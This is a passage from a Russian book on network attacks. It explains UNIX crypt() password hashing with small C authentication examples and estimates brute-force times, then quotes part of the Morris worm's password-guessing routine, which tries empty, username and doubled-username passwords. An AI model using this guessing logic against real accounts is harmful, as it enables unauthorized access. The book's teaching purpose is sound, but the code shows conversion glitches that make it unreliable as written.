Чтение онлайн

ЖАНРЫ

Техника сетевых атак
Шрифт:

· extern char *crypt(const char*, const char*);

·

· int main(int argc, char *argv[])

· {

· printf("%s\n", crypt (argv[1],argv[2]));

· return 0;

·}

Прототип функции crypt выглядит следующим образом: char * crypt(char *passwd, char *solt), где passwd - пароль для шифрования, а solt - два символа привязки. При успешном выполнении функция возвращает 13-символьный хеш готовый к употреблению - два символа привязки и 11-символьная хеш-сумма пароля.

Теперь можно реализовать некое подобие подсистемы

аутентификации UNIX. Сперва необходимо добавить нового пользователя в файл passwd. Одни из вариантов реализации приведен ниже (на диске он находится в файле “/SRC/crypt.auth.add.new.user.c”). Для упрощения, поддерживается только один пользователь.

· #include «stdlib.h»

· #include «stdio.h»

· #include «time.h»

·

· extern char *crypt(const char*, const char*);

·

· int main(int argc, char *argv[])

· {

· int a;

· char salt[3];

· FILE *f;

·

· salt[2]=0;

· srand((unsigned)time(NULL));

· for(a=0;a«2;a++) salt[a]=0x22+(rand % 0x40);

· if (!(f=fopen("passwd","w"))) return -1;

· fputs(crypt(argv[1], amp;salt[0]),f);

· fclose(f);

· return 0;

·}

Запустим откомпилированный пример и укажем любой произвольный пароль в командной строке, например, так: “crypt.auth.add.new.user.exe 12345”. Теперь заглянем в файл “passwd”. Его содержание должно быть следующим “^37DjO25th9ps” [101]. Очевидно, для проверки правильности вводимого пользователем пароля необходимо выделить первые два символа привязки, вызвать функцию crypt, передав ей в качестве первого параметра проверяемый пароль, а вторым - привязку, в данном случае “^3”, и после завершения работы сравнить полученный результат с “^37DjO25th9ps”. Если обе строки окажутся идентичны - пароль указан верно и, соответственно, наоборот. Все это реализовано в следующем примере, приведенном ниже (на диске он находится в файле “/SRC/crypt.auth.c”):

· #include «stdio.h»

· extern char *crypt(const char*, const char*);

·

· int main(int argc, char *argv[])

· {

· int a=1;

· char salt[2];

· char passwd[12];

· char *x;

· FILE *f;

·

· passwd[11]=0;

· while(a++) if (argv[1][a]«0x10) {argv[1][a]=0;break;}

·

· if (!(f=fopen("passwd","r"))) return -1;

· fgets( amp;salt[0],3,f);

· fgets( amp;passwd[0],12,f);

· fclose(f);

·

· if (strcmp( amp;passwd[0],crypt(argv[1], amp;salt[0])+2))

· printf("Wrong password!\n");

· else

· printf("Password ok\n");

·

· return 0;

·}

Запустим “crypt.auth.exe”, указав в командной строке пароль “12345”. Программа подтвердит правильность пароля. А теперь попробуем ввести другой

пароль, - и результат не заставит себя долго ждать.

· crypt.auth.exe 12345

· Password ok

· crypt.auth.exe MyGoodPasswd

· Wrong password!

Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому, разработчики посчитали вполне достаточным ограничить длину пароля восьми символами. Попробуем посчитать какое время необходимо для перебора всех возможных комбинаций. Оно равно (nk– 0+ nk– 1+ nk– 2+ nk– 3+ nk– 4nk)), где n - число допустимых символов пароля, а k - длина пароля. Для 96 читабельных символов латинского алфавита перебор пароля в худшем случае потребует около 7x1015 секунд или более двух сотен миллионов лет! Даже если пароль окажется состоящим из одних цифр (коих всего-навсего десять) в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.

Другими словами, сломать UNIX в лоб не получится. Если пароли и в самом деле выбирались случайно, дело действительно обстояло именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся открытым текстом.

Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Морриса. Он распространялся от машины, к машине используя нехитрую методику, которую демонстрирует фрагмент исходного кода вируса, приведенный ниже (на прилагаемом к книге диске он по некоторым причинам отсутствует, однако это никому не помешает найти его в сети самостоятельно):

· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */

· static strat_1/* 0x61ca */

· {

· int cnt;

· char usrname[50], buf[50];

·

· for (cnt = 0; x27f2c amp; amp; cnt «50; x27f2c = x27f2c-»next)

· {

· /* Every tenth time look for "me mates" */

· if ((cnt % 10) - 0) other_sleep(0);

·

· /* Check for no passwd */

· // Проверка на пустой пароль

· if (try_passwd(x27f2c, XS("))) continue;/* 1722 */

·

· /* If the passwd is something like "*" punt matching it. */

· // Если вместо пароля стоит символ-джокер, пропускаем такой пароль

· if (strlen(x27f2c-»passwd)!= 13) continue;

·

· // Попробовать в качестве пароля подставить имя пользователя

· strncpy(usrname, x27f2c, sizeof(usrname)-1);

· usrname[sizeof(usrname)-1] = '\0';

· if (try_passwd(x27f2c, usrname)) continue;

·

· // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc - kpnckpnc)

· sprintf(buf, XS("%.20s%.20s"), usrname, usrname);

· if (try_passwd(x27f2c, buf)) continue;

·

· // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре

Поделиться с друзьями: